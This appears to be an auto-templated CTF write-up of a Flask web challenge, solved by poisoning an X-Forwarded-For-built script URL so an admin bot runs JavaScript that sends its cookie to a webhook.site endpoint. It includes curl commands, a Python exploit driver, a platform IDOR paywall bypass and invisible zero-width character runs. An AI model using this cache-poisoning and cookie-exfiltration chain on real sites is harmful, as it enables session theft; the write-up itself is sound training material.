← Back to Writeups
HTBN/AWeb

30 проблем админа (30 Admin Problems)

XESXOR8/23/20267 min read
#web#htb#n/a

30 проблем админа (30 Admin Problems)

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: admin_bot_cookie_theft, appended_path_query_absorption, document_location_exfiltration, fake_404_script_src_injection, flask_slash_username_route_bypass, x_forwarded_for_cache_poisoning

Summary

Task: Flask/Werkzeug app whose custom fake-404 page builds a <script src> host from the X-Forwarded-For header and caches the response ~30s. Solution: poison the cache of an authenticated slash-username profile (unroutable → fake-404) so the admin approval bot loads attacker JS and exfiltrates its session cookie (the flag) via document.location OOB redirect.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260711_hackerlab_30_problem_admina
  • Tags: flask, xss, x_forwarded_for, header_injection, werkzeug, admin_bot, web, cookie_exfiltration, web_cache_poisoning, oob_exfiltration, slash_username_route_bypass
  • Indicators: fake 404 page returns HTTP 200 with a themed body, script src host is derived from X-Forwarded-For header, response cached ~30s and served to all users, admin bot only visits /profile/<username>, bot User-Agent BugHTB/1.0
  • Source: 20260711_hackerlab_30_problem_admina.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_cookie_theft
  2. Appended_path_query_absorption
  3. Document_location_exfiltration
  4. Fake_404_script_src_injection
  5. Flask_slash_username_route_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_cookie_theft
  • appended_path_query_absorption
  • document_location_exfiltration
  • fake_404_script_src_injection
  • flask_slash_username_route_bypass
  • x_forwarded_for_cache_poisoning
  • Tags: flask, xss, x_forwarded_for, header_injection, werkzeug, admin_bot, web, cookie_exfiltration, web_cache_poisoning, oob_exfiltration, slash_username_route_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Первый шаг в решении любой проблемы – это признать её существование"

English: "The first step in solving any problem is acknowledging its existence."

A Flask / Werkzeug 3.0.1 web application with user registration, login, and a profile-approval workflow. New profiles start inactive; a user can request approval, which dispatches an admin bot to review the profile. The goal is to steal the admin bot's session cookie — which turns out to literally contain the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The "30" in the title is a semantic hint: it refers to the 30-second cache lifetime of the vulnerable page, not to any request count or queue threshold (a deliberate red herring — see Failed approaches).

Recon

  • Register + login. New profiles are inactive. POST /profile/check submits an approval request to an admin bot; the bot reviews and rejects, returning the profile to inactive.
  • Session cookie is a Flask signed cookie carrying only {user_id, username}. No client-controllable role/status field.
  • flask-unsign against common-10k and full rockyou.txt (14,344,391 entries) failed — the secret is not weak, so cookie forgery is out. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key discovery — the fake 404 page

Visiting any non-existent route returns a themed fake-404 page:

  • HTTP 200 (not 404), ~433 bytes, body: [404] you already know where to go.
  • The HTML contains an injected script tag:
  <script type="text/javascript" src="http://<IP>/static/js/custom.js"></script>
  • The <IP> is derived from the X-Forwarded-For header → a header-injection primitive.
  • The page is cached for ~30 seconds and served to all users during that window → Web Cache Poisoning. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability

The fake-404 template builds the <script src> host from the attacker- controlled X-Forwarded-For header, and the rendered response is stored in a shared cache for ~30 s. Any user (including the admin bot) served from that poisoned cache entry loads an attacker-chosen JavaScript file. Because the bot's session cookie is the flag, this becomes a classic cache-poisoning → stored XSS → cookie exfiltration chain.

Two subtleties make it work:

  1. Getting the admin bot onto a 404 page. The bot only ever visits /profile/<username>. Flask's default <username> string converter excludes /, so registering a username containing a slash (e.g. test/a) makes /profile/test/a unroutable — it renders the fake-404 page, which is exactly where the poisoned <script> tag lives. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  2. The server appends /static/js/custom.js to whatever host value is injected. So the injected value must be terminated with a query string (?x=) to absorb the appended path harmlessly (see below).

Exploitation

1. Register a slash username

Register a user whose name contains a slash so its profile route hits the fake-404 handler:

username = test/a       ->  /profile/test/a  is unroutable  ->  fake-404

2. Host the malicious JS on an OOB endpoint

Use an OOB collector (e.g. webhook.site/<token>). The working exfil payload is a redirect-based one — a generic fetch(..., {mode:'no-cors'}) did not execute in the bot's browser (User-Agent BugHTB/1.0), but document.location did: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

document.location='https://webhook.site/<token>?cookie='+document.cookie;

3. Poison the cache with X-Forwarded-For (the ?x= trick)

The server appends /static/js/custom.js to the injected host. Terminate the injected value with ?x= so the appended path is swallowed into the query string; otherwise webhook.site 404s on /static/js/custom.js and never serves the payload:

# Injected value:  webhook.site/<token>?x=
# Server builds src: http://webhook.site/<token>?x=/static/js/custom.js
#                                                 ^^^^^^^^^^^^^^^^^^^^^^^ absorbed as query
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s 'http://62.173.140.174:16073/profile/test/a' \
  -b "session=<AUTHENTICATED_SESSION>" \
  -H 'X-Forwarded-For: webhook.site/8ef6b730-f64f-412e-8e07-4246d8b21fd6?x='

Critical nuance: the injected XFF value is only reliably reflected for an authenticated slash-username profile request. Anonymous probes to arbitrary fake routes kept reflecting the internal container IP (172.17.0.x) instead of the injected host — a long-lived false negative that wasted many attempts. Always poison via the authenticated /profile/<slash-username> request. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

4. Trigger the admin bot within the 30 s window

While the cache is still poisoned (TTL ~30 s), submit an approval request so the admin bot visits the poisoned fake-404 profile:

curl -s 'http://62.173.140.174:16073/profile/check' -X POST \
  -b "session=<AUTHENTICATED_SESSION>"

The bot loads http://webhook.site/<token>?x=.../static/js/custom.js, executes document.location='...?cookie='+document.cookie, and its browser sends the cookie to the OOB endpoint.

5. Read the exfiltrated cookie

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The exfiltrated cookie is the flag:

flag=CODEBY{REDACTED}

Reference exploit driver

#!/usr/bin/env python3
import requests, time

BASE = "http://62.173.140.174:16073"
TOKEN = "8ef6b730-f64f-412e-8e07-4246d8b21fd6"      # webhook.site token
XFF = f"webhook.site/{TOKEN}?x="                       # ?x= absorbs appended path

s = requests.Session()
# 1) register + login a slash username (test/a) so /profile/test/a -> fake-404
#    ... register/login flow, populate s.cookies['session'] ...
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

while True:
    # 2) poison the cache of the authenticated slash-username profile
    s.get(f"{BASE}/profile/test/a", headers={"X-Forwarded-For": XFF})
    # 3) within the ~30s cache window, dispatch the admin bot
    s.post(f"{BASE}/profile/check")
    # 4) poll webhook.site/<token> for ?cookie=CODEBY{...}
    time.sleep(5)

Bonus — platform IDOR (not the challenge flag)

The official retired writeup PDF is subscription-gated on the HackerLab platform. The gated route /game_api/files/download/writeup?... returns 403, but a broken-access-control bug exposes the same file through the generic unauthenticated route with no privilege check: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

/game_api/files/download?folder=writeup_d391d132-8e4a-41e1-8c5b-035c53fb8c5f&name=writeup&type=pdf

This is a platform-level IDOR / broken access control, worth noting but unrelated to the CTF flag.

Failed approaches (do not repeat)

  • Injection classes — SQLi / NoSQL / JSON injection, IDOR via profile/username swap, mass assignment (user_id/id/status/active/approved/is_admin/admin/role in /auth and /profile/check): all ignored; the cookie only ever contains {user_id, username}.
  • Race conditions — 30 identical POST /profile/check, 30 distinct users, 31 boundary, continuous POST+GET, transient active window: no approval, no flag. The "30" is NOT a request-count / queue threshold.
  • Username tricks — length-30, Unicode normalization (combining-mark collision producing literal admin — a real collision, but privilege follows the numeric user ID, so no escalation), whitespace aliasing, empty/ punctuation-only names, SQL-LIKE wildcard _, path-normalization for /profile/admin: dead ends for auth/approval.
  • Password properties — length-30 / 72-byte bcrypt boundary / strength: not the criterion.
  • Flask secret brute forcecommon-10k + full rockyou (14,344,391): secret not recoverable, no cookie forgery.
  • Source / DB disclosure matrix — static traversal, %2e/%2f/double encoding, backups, SQLite, .git, .env, Dockerfile, Werkzeug debugger/console: all byte-identical fake-404, nothing leaked.
  • Header-trust bypassX-Forwarded-For / X-Real-IP / X-Forwarded-Host / Forwarded: 127.0.0.1 to fake a localhost approval: rejected. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR